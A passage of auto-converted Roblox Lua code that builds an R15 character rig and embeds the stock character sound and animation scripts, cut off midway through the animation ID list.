- Part58.CFrame = CFrame.new(231.48671, 4.69999313, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- Part58.Orientation = Vector3.new(0, 162.570007, 0)
- Part58.Position = Vector3.new(231.48671, 4.69999313, -19.4360275)
- Part58.Rotation = Vector3.new(-180, 17.4300003, -180)
- Part58.Color = Color3.new(0.917647, 0.721569, 0.572549)
- Part58.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- Part58.Size = Vector3.new(2, 1, 1)
- Part58.Anchored = true
- Part58.BottomSurface = Enum.SurfaceType.Smooth
- Part58.BrickColor = BrickColor.new("Light orange")
- Part58.Locked = true
- Part58.TopSurface = Enum.SurfaceType.Smooth
- Part58.brickColor = BrickColor.new("Light orange")
- SpecialMesh59.Parent = Part58
- SpecialMesh59.Scale = Vector3.new(1.25, 1.25, 1.25)
- Vector3Value60.Name = "OriginalSize"
- Vector3Value60.Parent = SpecialMesh59
- Vector3Value60.Value = Vector3.new(1.25, 1.25, 1.25)
- Vector3Value61.Name = "OriginalPosition"
- Vector3Value61.Parent = mas
- Vector3Value62.Name = "OriginalPosition"
- Vector3Value62.Parent = mas
- Vector3Value62.Value = Vector3.new(0, 0, -0.600000024)
- Vector3Value63.Name = "OriginalPosition"
- Vector3Value63.Parent = mas
- Vector3Value63.Value = Vector3.new(0, 0.600000024, 0)
- Vector3Value64.Name = "OriginalPosition"
- Vector3Value64.Parent = mas
- Vector3Value64.Value = Vector3.new(0, 0.600000024, 0)
- Vector3Value65.Name = "OriginalPosition"
- Vector3Value65.Parent = mas
- Vector3Value65.Value = Vector3.new(0, -0.5, 0)
- Decal66.Name = "face"
- Decal66.Parent = Part58
- Decal66.Texture = "http://www.roblox.com/asset/?id=7074749"
- Vector3Value67.Name = "OriginalSize"
- Vector3Value67.Parent = Part58
- Vector3Value67.Value = Vector3.new(2, 1, 1)
- Motor6D68.Name = "Neck"
- Motor6D68.Parent = Part58
- Motor6D68.C0 = CFrame.new(-5.96046448e-08, 0.839999914, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D68.C1 = CFrame.new(0, -0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D68.Part0 = MeshPart36
- Motor6D68.Part1 = Part58
- Motor6D68.part1 = Part58
- Sound69.Name = "GettingUp"
- Sound69.Parent = Part58
- Sound69.MaxDistance = 150
- Sound69.EmitterSize = 5
- Sound69.MinDistance = 5
- Sound69.SoundId = "rbxasset://sounds/action_get_up.mp3"
- Sound69.Volume = 0.64999997615814
- Sound70.Name = "Died"
- Sound70.Parent = Part58
- Sound70.MaxDistance = 150
- Sound70.EmitterSize = 5
- Sound70.MinDistance = 5
- Sound70.SoundId = "rbxasset://sounds/uuhhh.mp3"
- Sound70.Volume = 0.64999997615814
- Sound71.Name = "FreeFalling"
- Sound71.Parent = Part58
- Sound71.Looped = true
- Sound71.MaxDistance = 150
- Sound71.EmitterSize = 5
- Sound71.MinDistance = 5
- Sound71.SoundId = "rbxasset://sounds/action_falling.mp3"
- Sound71.Volume = 0
- Sound72.Name = "Jumping"
- Sound72.Parent = Part58
- Sound72.MaxDistance = 150
- Sound72.EmitterSize = 5
- Sound72.MinDistance = 5
- Sound72.SoundId = "rbxasset://sounds/action_jump.mp3"
- Sound72.Volume = 0.64999997615814
- Sound73.Name = "Landing"
- Sound73.Parent = Part58
- Sound73.MaxDistance = 150
- Sound73.EmitterSize = 5
- Sound73.MinDistance = 5
- Sound73.SoundId = "rbxasset://sounds/action_jump_land.mp3"
- Sound73.Volume = 1
- Sound74.Name = "Splash"
- Sound74.Parent = Part58
- Sound74.MaxDistance = 150
- Sound74.EmitterSize = 5
- Sound74.MinDistance = 5
- Sound74.SoundId = "rbxasset://sounds/impact_water.mp3"
- Sound74.Volume = 0.64999997615814
- Sound75.Name = "Running"
- Sound75.Parent = Part58
- Sound75.Looped = true
- Sound75.MaxDistance = 150
- Sound75.EmitterSize = 5
- Sound75.MinDistance = 5
- Sound75.Pitch = 1.8500000238419
- Sound75.PlaybackSpeed = 1.8500000238419
- Sound75.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
- Sound75.Volume = 0.64999997615814
- Sound76.Name = "Swimming"
- Sound76.Parent = Part58
- Sound76.Looped = true
- Sound76.MaxDistance = 150
- Sound76.EmitterSize = 5
- Sound76.MinDistance = 5
- Sound76.Pitch = 1.6000000238419
- Sound76.PlaybackSpeed = 1.6000000238419
- Sound76.SoundId = "rbxasset://sounds/action_swim.mp3"
- Sound76.Volume = 0.64999997615814
- Sound77.Name = "Climbing"
- Sound77.Parent = Part58
- Sound77.Looped = true
- Sound77.MaxDistance = 150
- Sound77.EmitterSize = 5
- Sound77.MinDistance = 5
- Sound77.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
- Sound77.Volume = 0.64999997615814
- MeshPart78.Name = "LeftUpperArm"
- MeshPart78.Parent = Model5
- MeshPart78.CFrame = CFrame.new(232.917831, 3.464993, -18.9867115, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart78.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart78.Position = Vector3.new(232.917831, 3.464993, -18.9867115)
- MeshPart78.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart78.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart78.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart78.Size = Vector3.new(0.999999762, 1.47000027, 0.99999994)
- MeshPart78.Anchored = true
- MeshPart78.BrickColor = BrickColor.new("Light orange")
- MeshPart78.CanCollide = false
- MeshPart78.Locked = true
- MeshPart78.brickColor = BrickColor.new("Light orange")
- Vector3Value79.Name = "OriginalPosition"
- Vector3Value79.Parent = mas
- Vector3Value79.Value = Vector3.new(0.250109196, 0.449999809, 8.94069672e-08)
- Vector3Value80.Name = "OriginalPosition"
- Vector3Value80.Parent = mas
- Vector3Value80.Value = Vector3.new(0.000479102135, -0.200000167, 8.94069672e-08)
- Vector3Value81.Name = "OriginalPosition"
- Vector3Value81.Parent = mas
- Vector3Value81.Value = Vector3.new(2.38418579e-07, 0.700000286, -2.70968314e-08)
- Vector3Value82.Name = "OriginalSize"
- Vector3Value82.Parent = MeshPart78
- Vector3Value82.Value = Vector3.new(0.999999762, 1.40000033, 0.99999994)
- Motor6D83.Name = "LeftShoulder"
- Motor6D83.Parent = MeshPart78
- Motor6D83.C0 = CFrame.new(-1.24989128, 0.577499926, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D83.C1 = CFrame.new(0.250109196, 0.472499788, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D83.Part0 = MeshPart36
- Motor6D83.Part1 = MeshPart78
- Motor6D83.part1 = MeshPart78
- MeshPart84.Name = "RightLowerLeg"
- MeshPart84.Parent = Model5
- MeshPart84.CFrame = CFrame.new(231.009674, 0.997493148, -19.5858002, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart84.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart84.Position = Vector3.new(231.009674, 0.997493148, -19.5858002)
- MeshPart84.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart84.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart84.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart84.Size = Vector3.new(0.99999994, 1.57500052, 1.00000012)
- MeshPart84.Anchored = true
- MeshPart84.BrickColor = BrickColor.new("Light orange")
- MeshPart84.CanCollide = false
- MeshPart84.Locked = true
- MeshPart84.brickColor = BrickColor.new("Light orange")
- Vector3Value85.Name = "OriginalPosition"
- Vector3Value85.Parent = mas
- Vector3Value85.Value = Vector3.new(-0, 0.249999627, 4.35260044e-05)
- Vector3Value86.Name = "OriginalPosition"
- Vector3Value86.Parent = mas
- Vector3Value86.Value = Vector3.new(-0, -0.750000477, 9.82746205e-05)
- Vector3Value87.Name = "OriginalSize"
- Vector3Value87.Parent = MeshPart84
- Vector3Value87.Value = Vector3.new(0.99999994, 1.50000036, 1.00000012)
- Motor6D88.Name = "RightKnee"
- Motor6D88.Parent = MeshPart84
- Motor6D88.C0 = CFrame.new(-0, -0.314999968, 4.36005103e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D88.C1 = CFrame.new(-0, 0.26249963, 4.35260044e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D88.Part0 = MeshPart106
- Motor6D88.Part1 = MeshPart84
- Motor6D88.part1 = MeshPart84
- MeshPart89.Name = "LeftFoot"
- MeshPart89.Parent = Model5
- MeshPart89.CFrame = CFrame.new(231.963745, 0.157493234, -19.2862549, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart89.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart89.Position = Vector3.new(231.963745, 0.157493234, -19.2862549)
- MeshPart89.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart89.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart89.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart89.Size = Vector3.new(1, 0.315000176, 1)
- MeshPart89.Anchored = true
- MeshPart89.BrickColor = BrickColor.new("Light orange")
- MeshPart89.CanCollide = false
- MeshPart89.Locked = true
- MeshPart89.brickColor = BrickColor.new("Light orange")
- Vector3Value90.Name = "OriginalPosition"
- Vector3Value90.Parent = mas
- Vector3Value90.Value = Vector3.new(-2.38418579e-07, 0.0500025749, 8.08154482e-07)
- Vector3Value91.Name = "OriginalSize"
- Vector3Value91.Parent = MeshPart89
- Vector3Value91.Value = Vector3.new(1, 0.300000191, 1)
- Motor6D92.Name = "LeftAnkle"
- Motor6D92.Parent = MeshPart89
- Motor6D92.C0 = CFrame.new(-1.78813934e-07, -0.787497461, 6.29340548e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D92.C1 = CFrame.new(-2.38418579e-07, 0.0525027029, 8.08154482e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D92.Part0 = MeshPart31
- Motor6D92.Part1 = MeshPart89
- Motor6D92.part1 = MeshPart89
- MeshPart93.Name = "LeftLowerArm"
- MeshPart93.Parent = Model5
- MeshPart93.CFrame = CFrame.new(232.917831, 2.99249268, -18.9867115, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart93.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart93.Position = Vector3.new(232.917831, 2.99249268, -18.9867115)
- MeshPart93.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart93.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart93.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart93.Size = Vector3.new(0.999999762, 1.26000023, 1)
- MeshPart93.Anchored = true
- MeshPart93.BrickColor = BrickColor.new("Light orange")
- MeshPart93.CanCollide = false
- MeshPart93.Locked = true
- MeshPart93.brickColor = BrickColor.new("Light orange")
- Vector3Value94.Name = "OriginalPosition"
- Vector3Value94.Parent = mas
- Vector3Value94.Value = Vector3.new(0.000478506088, 0.25000003, 7.64462551e-20)
- Vector3Value95.Name = "OriginalPosition"
- Vector3Value95.Parent = mas
- Vector3Value95.Value = Vector3.new(0.000478506088, -0.549999952, 7.64462551e-20)
- Vector3Value96.Name = "OriginalSize"
- Vector3Value96.Parent = MeshPart93
- Vector3Value96.Value = Vector3.new(0.999999762, 1.20000029, 1)
- Motor6D97.Name = "LeftElbow"
- Motor6D97.Parent = MeshPart93
- Motor6D97.C0 = CFrame.new(0.000479102135, -0.210000172, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D97.C1 = CFrame.new(0.000478506088, 0.262500018, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D97.Part0 = MeshPart78
- Motor6D97.Part1 = MeshPart93
- Motor6D97.part1 = MeshPart93
- MeshPart98.Name = "LeftHand"
- MeshPart98.Parent = Model5
- MeshPart98.CFrame = CFrame.new(232.917831, 2.25749278, -18.9867115, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart98.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart98.Position = Vector3.new(232.917831, 2.25749278, -18.9867115)
- MeshPart98.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart98.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart98.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart98.Size = Vector3.new(0.999999762, 0.314999968, 0.999999881)
- MeshPart98.Anchored = true
- MeshPart98.BrickColor = BrickColor.new("Light orange")
- MeshPart98.CanCollide = false
- MeshPart98.Locked = true
- MeshPart98.brickColor = BrickColor.new("Light orange")
- Vector3Value99.Name = "OriginalPosition"
- Vector3Value99.Parent = mas
- Vector3Value99.Value = Vector3.new(0.000478863716, 0.149999991, 5.96046448e-08)
- Vector3Value100.Name = "OriginalPosition"
- Vector3Value100.Parent = mas
- Vector3Value100.Value = Vector3.new(-1.1920929e-07, -0.149999633, -1.46306121e-07)
- Vector3Value101.Name = "OriginalSize"
- Vector3Value101.Parent = MeshPart98
- Vector3Value101.Value = Vector3.new(0.999999762, 0.299999982, 0.999999881)
- Motor6D102.Name = "LeftWrist"
- Motor6D102.Parent = MeshPart98
- Motor6D102.C0 = CFrame.new(0.000478506088, -0.577499926, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D102.C1 = CFrame.new(0.000478863716, 0.157499984, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D102.Part0 = MeshPart93
- Motor6D102.Part1 = MeshPart98
- Motor6D102.part1 = MeshPart98
- Part103.Name = "HumanoidRootPart"
- Part103.Parent = Model5
- Part103.CFrame = CFrame.new(231.48671, 3.14999294, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- Part103.Orientation = Vector3.new(0, 162.570007, 0)
- Part103.Position = Vector3.new(231.48671, 3.14999294, -19.4360275)
- Part103.Rotation = Vector3.new(-180, 17.4300003, -180)
- Part103.Color = Color3.new(0.623529, 0.631373, 0.67451)
- Part103.Transparency = 1
- Part103.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- Part103.Size = Vector3.new(2, 2.0999999, 1)
- Part103.Anchored = true
- Part103.BrickColor = BrickColor.new("Fossil")
- Part103.Locked = true
- Part103.brickColor = BrickColor.new("Fossil")
- Vector3Value104.Name = "OriginalPosition"
- Vector3Value104.Parent = mas
- Vector3Value105.Name = "OriginalSize"
- Vector3Value105.Parent = Part103
- Vector3Value105.Value = Vector3.new(2, 2, 1)
- MeshPart106.Name = "RightUpperLeg"
- MeshPart106.Parent = Model5
- MeshPart106.CFrame = CFrame.new(231.009674, 1.57499278, -19.5858002, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart106.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart106.Position = Vector3.new(231.009674, 1.57499278, -19.5858002)
- MeshPart106.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart106.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart106.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart106.Size = Vector3.new(1.00000048, 1.57499981, 0.999999881)
- MeshPart106.Anchored = true
- MeshPart106.BrickColor = BrickColor.new("Light orange")
- MeshPart106.CanCollide = false
- MeshPart106.Locked = true
- MeshPart106.brickColor = BrickColor.new("Light orange")
- Vector3Value107.Name = "OriginalPosition"
- Vector3Value107.Parent = mas
- Vector3Value107.Value = Vector3.new(-0, 0.5, -1.04308128e-07)
- Vector3Value108.Name = "OriginalPosition"
- Vector3Value108.Parent = mas
- Vector3Value108.Value = Vector3.new(-0, -0.299999952, 4.36005103e-05)
- Vector3Value109.Name = "OriginalSize"
- Vector3Value109.Parent = MeshPart106
- Vector3Value109.Value = Vector3.new(1.00000048, 1.49999976, 0.999999881)
- Motor6D110.Name = "RightHip"
- Motor6D110.Parent = MeshPart106
- Motor6D110.C0 = CFrame.new(0.499999881, -0.209999949, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D110.C1 = CFrame.new(-0, 0.525000036, -1.04308128e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D110.Part0 = MeshPart10
- Motor6D110.Part1 = MeshPart106
- Motor6D110.part1 = MeshPart106
- Humanoid111.Parent = Model5
- Humanoid111.HipHeight = 2.1000001430511
- Humanoid111.RigType = Enum.HumanoidRigType.R15
- Humanoid111.Torso = Part103
- NumberValue112.Name = "BodyWidthScale"
- NumberValue112.Parent = Humanoid111
- NumberValue112.Value = 1
- NumberValue113.Name = "BodyHeightScale"
- NumberValue113.Parent = Humanoid111
- NumberValue113.Value = 1.0499999523163
- NumberValue114.Name = "BodyDepthScale"
- NumberValue114.Parent = Humanoid111
- NumberValue114.Value = 1
- NumberValue115.Name = "HeadScale"
- NumberValue115.Parent = Humanoid111
- NumberValue115.Value = 1
- Script116.Name = "Sound"
- Script116.Parent = Model5
- table.insert(cors,sandbox(Script116,function()
- --[[
- Author: @spotco
- This script creates sounds which are placed under the character head.
- These sounds are used by the "LocalSound" script.
- To modify this script, copy it to your "StarterPlayer/StarterCharacterScripts" folder keeping the same script name ("Sound").
- The default Sound script loaded for every character will then be replaced with your copy of the script.
- ]]--
- function CreateNewSound(name, id, looped, pitch, parent)
- local sound = Instance.new("Sound")
- sound.SoundId = id
- sound.Name = name
- sound.archivable = false
- sound.Parent = parent
- sound.Pitch = pitch
- sound.Looped = looped
- sound.MinDistance = 5
- sound.MaxDistance = 150
- sound.Volume = 0.65
- return sound
- end
- local head = script.Parent:FindFirstChild("Head")
- if head == nil then
- error("Sound script parent has no child Head.")
- return
- end
- CreateNewSound("GettingUp", "rbxasset://sounds/action_get_up.mp3", false, 1, head)
- CreateNewSound("Died", "rbxasset://sounds/uuhhh.mp3", false, 1, head)
- CreateNewSound("FreeFalling", "rbxasset://sounds/action_falling.mp3", true, 1, head)
- CreateNewSound("Jumping", "rbxasset://sounds/action_jump.mp3", false, 1, head)
- CreateNewSound("Landing", "rbxasset://sounds/action_jump_land.mp3", false, 1, head)
- CreateNewSound("Splash", "rbxasset://sounds/impact_water.mp3", false, 1, head)
- CreateNewSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1.85, head)
- CreateNewSound("Swimming", "rbxasset://sounds/action_swim.mp3", true, 1.6, head)
- CreateNewSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1, head)
- end))
- LocalScript117.Name = "LocalSound"
- LocalScript117.Parent = Script116
- table.insert(cors,sandbox(LocalScript117,function()
- --[[
- Author: @spotco
- This script runs locally for the player of the given humanoid.
- This script triggers humanoid sound play/pause actions locally.
- The Playing/TimePosition properties of Sound objects bypass FilteringEnabled, so this triggers the sound
- immediately for the player and is replicated to all other players.
- This script is optimized to reduce network traffic through minimizing the amount of property replication.
- ]]--
- --All sounds are referenced by this ID
- local SFX = {
- Died = 0;
- Running = 1;
- Swimming = 2;
- Climbing = 3,
- Jumping = 4;
- GettingUp = 5;
- FreeFalling = 6;
- FallingDown = 7;
- Landing = 8;
- Splash = 9;
- }
- local Humanoid = nil
- local Head = nil
- --SFX ID to Sound object
- local Sounds = {}
- do
- local Figure = script.Parent.Parent
- Head = Figure:WaitForChild("Head")
- while not Humanoid do
- for _,NewHumanoid in pairs(Figure:GetChildren()) do
- if NewHumanoid:IsA("Humanoid") then
- Humanoid = NewHumanoid
- break
- end
- end
- Figure.ChildAdded:wait()
- end
- Sounds[SFX.Died] = Head:WaitForChild("Died")
- Sounds[SFX.Running] = Head:WaitForChild("Running")
- Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
- Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
- Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
- Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
- Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
- Sounds[SFX.Landing] = Head:WaitForChild("Landing")
- Sounds[SFX.Splash] = Head:WaitForChild("Splash")
- end
- local Util
- Util = {
- --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
- YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
- --(y - y1)/(x - x1) = m
- local m = (pt1y - pt2y) / (pt1x - pt2x)
- --float b = pt1.y - m * pt1.x;
- local b = (pt1y - m * pt1x)
- return m * x + b
- end;
- --Clamps the value of "val" between the "min" and "max"
- Clamp = function(val,min,max)
- return math.min(max,math.max(min,val))
- end;
- --Gets the horizontal (x,z) velocity magnitude of the given part
- HorizontalSpeed = function(Head)
- local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
- return hVel.magnitude
- end;
- --Gets the vertical (y) velocity magnitude of the given part
- VerticalSpeed = function(Head)
- return math.abs(Head.Velocity.Y)
- end;
- --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
- --If these properties are enabled, use them.
- Play = function(sound)
- if sound.TimePosition ~= 0 then
- sound.TimePosition = 0
- end
- if not sound.IsPlaying then
- sound.Playing = true
- end
- end;
- Pause = function(sound)
- if sound.IsPlaying then
- sound.Playing = false
- end
- end;
- Resume = function(sound)
- if not sound.IsPlaying then
- sound.Playing = true
- end
- end;
- Stop = function(sound)
- if sound.IsPlaying then
- sound.Playing = false
- end
- if sound.TimePosition ~= 0 then
- sound.TimePosition = 0
- end
- end;
- }
- do
- -- List of all active Looped sounds
- local playingLoopedSounds = {}
- -- Last seen Enum.HumanoidStateType
- local activeState = nil
- -- Verify and set that "sound" is in "playingLoopedSounds".
- function setSoundInPlayingLoopedSounds(sound)
- for i=1, #playingLoopedSounds do
- if playingLoopedSounds[i] == sound then
- return
- end
- end
- table.insert(playingLoopedSounds,sound)
- end
- -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
- function stopPlayingLoopedSoundsExcept(except)
- for i=#playingLoopedSounds,1,-1 do
- if playingLoopedSounds[i] ~= except then
- Util.Pause(playingLoopedSounds[i])
- table.remove(playingLoopedSounds,i)
- end
- end
- end
- -- Table of Enum.HumanoidStateType to handling function
- local stateUpdateHandler = {
- [Enum.HumanoidStateType.Dead] = function()
- stopPlayingLoopedSoundsExcept()
- local sound = Sounds[SFX.Died]
- Util.Play(sound)
- end;
- [Enum.HumanoidStateType.RunningNoPhysics] = function()
- stateUpdated(Enum.HumanoidStateType.Running)
- end;
- [Enum.HumanoidStateType.Running] = function()
- local sound = Sounds[SFX.Running]
- stopPlayingLoopedSoundsExcept(sound)
- if Util.HorizontalSpeed(Head) > 0.5 then
- Util.Resume(sound)
- setSoundInPlayingLoopedSounds(sound)
- else
- stopPlayingLoopedSoundsExcept()
- end
- end;
- [Enum.HumanoidStateType.Swimming] = function()
- if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then
- local splashSound = Sounds[SFX.Splash]
- splashSound.Volume = Util.Clamp(
- Util.YForLineGivenXAndTwoPts(
- Util.VerticalSpeed(Head),
- 100, 0.28,
- 350, 1),
- 0,1)
- Util.Play(splashSound)
- end
- do
- local sound = Sounds[SFX.Swimming]
- stopPlayingLoopedSoundsExcept(sound)
- Util.Resume(sound)
- setSoundInPlayingLoopedSounds(sound)
- end
- end;
- [Enum.HumanoidStateType.Climbing] = function()
- local sound = Sounds[SFX.Climbing]
- if Util.VerticalSpeed(Head) > 0.1 then
- Util.Resume(sound)
- stopPlayingLoopedSoundsExcept(sound)
- else
- stopPlayingLoopedSoundsExcept()
- end
- setSoundInPlayingLoopedSounds(sound)
- end;
- [Enum.HumanoidStateType.Jumping] = function()
- if activeState == Enum.HumanoidStateType.Jumping then
- return
- end
- stopPlayingLoopedSoundsExcept()
- local sound = Sounds[SFX.Jumping]
- Util.Play(sound)
- end;
- [Enum.HumanoidStateType.GettingUp] = function()
- stopPlayingLoopedSoundsExcept()
- local sound = Sounds[SFX.GettingUp]
- Util.Play(sound)
- end;
- [Enum.HumanoidStateType.Freefall] = function()
- if activeState == Enum.HumanoidStateType.Freefall then
- return
- end
- local sound = Sounds[SFX.FreeFalling]
- sound.Volume = 0
- stopPlayingLoopedSoundsExcept()
- end;
- [Enum.HumanoidStateType.FallingDown] = function()
- stopPlayingLoopedSoundsExcept()
- end;
- [Enum.HumanoidStateType.Landed] = function()
- stopPlayingLoopedSoundsExcept()
- if Util.VerticalSpeed(Head) > 75 then
- local landingSound = Sounds[SFX.Landing]
- landingSound.Volume = Util.Clamp(
- Util.YForLineGivenXAndTwoPts(
- Util.VerticalSpeed(Head),
- 50, 0,
- 100, 1),
- 0,1)
- Util.Play(landingSound)
- end
- end;
- [Enum.HumanoidStateType.Seated] = function()
- stopPlayingLoopedSoundsExcept()
- end;
- }
- -- Handle state event fired or OnChange fired
- function stateUpdated(state)
- if stateUpdateHandler[state] ~= nil then
- stateUpdateHandler[state]()
- end
- activeState = state
- end
- Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
- Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
- Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
- Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
- Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
- Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
- Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
- Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
- -- required for proper handling of Landed event
- Humanoid.StateChanged:connect(function(old, new)
- stateUpdated(new)
- end)
- function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
- local stepScale = stepDeltaSeconds / tickSpeedSeconds
- do
- local sound = Sounds[SFX.FreeFalling]
- if activeState == Enum.HumanoidStateType.Freefall then
- if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
- Util.Resume(sound)
- --Volume takes 1.1 seconds to go from volume 0 to 1
- local ANIMATION_LENGTH_SECONDS = 1.1
- local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
- sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
- else
- sound.Volume = 0
- end
- else
- Util.Pause(sound)
- end
- end
- do
- local sound = Sounds[SFX.Running]
- if activeState == Enum.HumanoidStateType.Running then
- if Util.HorizontalSpeed(Head) < 0.5 then
- Util.Pause(sound)
- end
- end
- end
- end
- local lastTick = tick()
- local TICK_SPEED_SECONDS = 0.25
- while true do
- onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
- lastTick = tick()
- wait(TICK_SPEED_SECONDS)
- end
- end
- end))
- LocalScript118.Name = "Animate"
- LocalScript118.Parent = Model5
- table.insert(cors,sandbox(LocalScript118,function()
- local Character = script.Parent
- local Humanoid = Character:WaitForChild("Humanoid")
- local pose = "Standing"
- local currentAnim = ""
- local currentAnimInstance = nil
- local currentAnimTrack = nil
- local currentAnimKeyframeHandler = nil
- local currentAnimSpeed = 1.0
- local runAnimTrack = nil
- local runAnimKeyframeHandler = nil
- local animTable = {}
- local animNames = {
- idle = {
- { id = "http://www.roblox.com/asset/?id=507766666", weight = 1 },
- { id = "http://www.roblox.com/asset/?id=507766951", weight = 1 },
- { id = "http://www.roblox.com/asset/?id=507766388", weight = 9 }
- },
- walk = {
- { id = "http://www.roblox.com/asset/?id=507777826", weight = 10 }
- },
- run = {
- { id = "http://www.roblox.com/asset/?id=507767714", weight = 10 }
- },
- swim = {
- { id = "http://www.roblox.com/asset/?id=507784897", weight = 10 }
- },
- swimidle = {
- { id = "http://www.roblox.com/asset/?id=507785072", weight = 10 }
- },
- jump = {
- { id = "http://www.roblox.com/asset/?id=507765000", weight = 10 }
- },
- fall = {
- { id = "http://www.roblox.com/asset/?id=507767968", weight = 10 }
- },
- climb = {
- { id = "http://www.roblox.com/asset/?id=507765644", weight = 10 }
- },
- sit = {
- { id = "http://www.roblox.com/asset/?id=507768133", weight = 10 }
- },
- toolnone = {
- { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
- },
- toolslash = {
- { id = "http://www.roblox.com/asset/?id=522635514", weight = 10 }
- },
- toollunge = {
- { id = "http://www.roblox.com/asset/?id=522638767", weight = 10 }
- },
- wave = {
- { id = "http://www.roblox.com/asset/?id=507770239", weight = 10 }
- },
- point = {
- { id = "http://www.roblox.com/asset/?id=507770453", weight = 10 }
- },
- dance = {
- { id = "http://www.roblox.com/asset/?id=507771019", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507771955", weight = 10 },
